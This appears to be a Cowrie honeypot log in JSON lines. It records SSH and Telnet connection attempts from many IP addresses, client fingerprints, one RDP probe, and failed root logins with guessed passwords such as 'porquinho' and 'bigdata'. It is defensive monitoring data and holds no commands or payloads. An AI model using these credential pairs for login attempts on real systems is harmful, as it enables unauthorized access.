{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:38.364401Z","src_ip":"45.119.212.99","session":"c9a830ebdbc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.70.245","src_port":41078,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d1c527910d3","protocol":"telnet","message":"New connection: 36.32.70.245:41078 (10.17.0.5:23) [session: 0d1c527910d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:55.924037Z"}
{"eventid":"cowrie.session.closed","duration":0.004988431930541992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:55.928895Z","src_ip":"36.32.70.245","session":"0d1c527910d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.70.245","src_port":41084,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e22a1a8c145","protocol":"telnet","message":"New connection: 36.32.70.245:41084 (10.17.0.5:23) [session: 7e22a1a8c145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:56.157815Z"}
{"eventid":"cowrie.login.failed","username":"supervisor","password":"supervisor","message":"login attempt [supervisor/supervisor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:57.161493Z","src_ip":"36.32.70.245","session":"7e22a1a8c145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2460315227508545,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:57.403710Z","src_ip":"36.32.70.245","session":"7e22a1a8c145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.32.70.245","src_port":41107,"dst_ip":"10.17.0.5","dst_port":23,"session":"51800233141d","protocol":"telnet","message":"New connection: 36.32.70.245:41107 (10.17.0.5:23) [session: 51800233141d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:57.638630Z"}
{"eventid":"cowrie.session.closed","duration":0.5828900337219238,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:55:58.221414Z","src_ip":"36.32.70.245","session":"51800233141d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":56550,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d2aea43103d","protocol":"ssh","message":"New connection: 189.203.163.10:56550 (10.17.0.5:22) [session: 2d2aea43103d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:11.901024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:11.906438Z","src_ip":"189.203.163.10","session":"2d2aea43103d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:11.967065Z","src_ip":"189.203.163.10","session":"2d2aea43103d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porquinho","message":"login attempt [root/porquinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:12.238885Z","src_ip":"189.203.163.10","session":"2d2aea43103d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:13.302368Z","src_ip":"189.203.163.10","session":"2d2aea43103d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":53460,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c6dee602569","protocol":"ssh","message":"New connection: 80.225.252.182:53460 (10.17.0.5:22) [session: 1c6dee602569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:14.607111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:14.612813Z","src_ip":"80.225.252.182","session":"1c6dee602569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:14.813522Z","src_ip":"80.225.252.182","session":"1c6dee602569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":40382,"dst_ip":"10.17.0.5","dst_port":22,"session":"81c53796f71f","protocol":"ssh","message":"New connection: 89.127.197.59:40382 (10.17.0.5:22) [session: 81c53796f71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:15.589581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:15.594332Z","src_ip":"89.127.197.59","session":"81c53796f71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:15.717135Z","src_ip":"89.127.197.59","session":"81c53796f71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdata","message":"login attempt [root/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:15.725033Z","src_ip":"80.225.252.182","session":"1c6dee602569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":53391,"dst_ip":"159.203.135.109","dst_port":22,"session":"d855a3554a0e","protocol":"ssh","message":"New connection: 167.172.81.52:53391 (159.203.135.109:22) [session: d855a3554a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:16.156437Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:16.231077Z","src_ip":"167.172.81.52","session":"d855a3554a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:16.236695Z","src_ip":"167.172.81.52","session":"d855a3554a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testserver","message":"login attempt [root/testserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:16.241620Z","src_ip":"89.127.197.59","session":"81c53796f71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:16.916362Z","src_ip":"80.225.252.182","session":"1c6dee602569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:17.366124Z","src_ip":"89.127.197.59","session":"81c53796f71f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":47658,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b35d592877","protocol":"ssh","message":"New connection: 103.249.84.242:47658 (10.17.0.5:22) [session: f7b35d592877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:17.469223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:17.474069Z","src_ip":"103.249.84.242","session":"f7b35d592877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:17.702858Z","src_ip":"103.249.84.242","session":"f7b35d592877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcs","message":"login attempt [root/mcs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:18.649436Z","src_ip":"103.249.84.242","session":"f7b35d592877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:19.880851Z","src_ip":"103.249.84.242","session":"f7b35d592877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":36752,"dst_ip":"10.17.0.5","dst_port":22,"session":"a823aa48afbe","protocol":"ssh","message":"New connection: 43.134.71.92:36752 (10.17.0.5:22) [session: a823aa48afbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:31.454006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:31.458823Z","src_ip":"43.134.71.92","session":"a823aa48afbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:31.703698Z","src_ip":"43.134.71.92","session":"a823aa48afbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"config","message":"login attempt [root/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:32.713516Z","src_ip":"43.134.71.92","session":"a823aa48afbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:33.961185Z","src_ip":"43.134.71.92","session":"a823aa48afbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33240,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d0ddd632fb3","protocol":"ssh","message":"New connection: 62.133.62.83:33240 (159.203.135.109:22) [session: 4d0ddd632fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:58.009370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:58.014045Z","src_ip":"62.133.62.83","session":"4d0ddd632fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:58.094455Z","src_ip":"62.133.62.83","session":"4d0ddd632fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"w66yrybgra","message":"login attempt [root/w66yrybgra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:58.332271Z","src_ip":"62.133.62.83","session":"4d0ddd632fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:56:59.413584Z","src_ip":"62.133.62.83","session":"4d0ddd632fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45986,"dst_ip":"10.17.0.5","dst_port":23,"session":"649682f7ea34","protocol":"telnet","message":"New connection: 192.119.13.58:45986 (10.17.0.5:23) [session: 649682f7ea34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:04.563435Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":50028,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e6c0160e575","protocol":"ssh","message":"New connection: 89.127.197.59:50028 (10.17.0.5:22) [session: 8e6c0160e575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:17.943582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:17.948901Z","src_ip":"89.127.197.59","session":"8e6c0160e575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:18.075446Z","src_ip":"89.127.197.59","session":"8e6c0160e575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poney","message":"login attempt [root/poney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:18.598986Z","src_ip":"89.127.197.59","session":"8e6c0160e575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:19.725603Z","src_ip":"89.127.197.59","session":"8e6c0160e575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":44196,"dst_ip":"10.17.0.5","dst_port":22,"session":"0afdce8c12f2","protocol":"ssh","message":"New connection: 157.230.190.155:44196 (10.17.0.5:22) [session: 0afdce8c12f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:21.262658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:57:21.268028Z","src_ip":"157.230.190.155","session":"0afdce8c12f2","protocol":"ssh"}
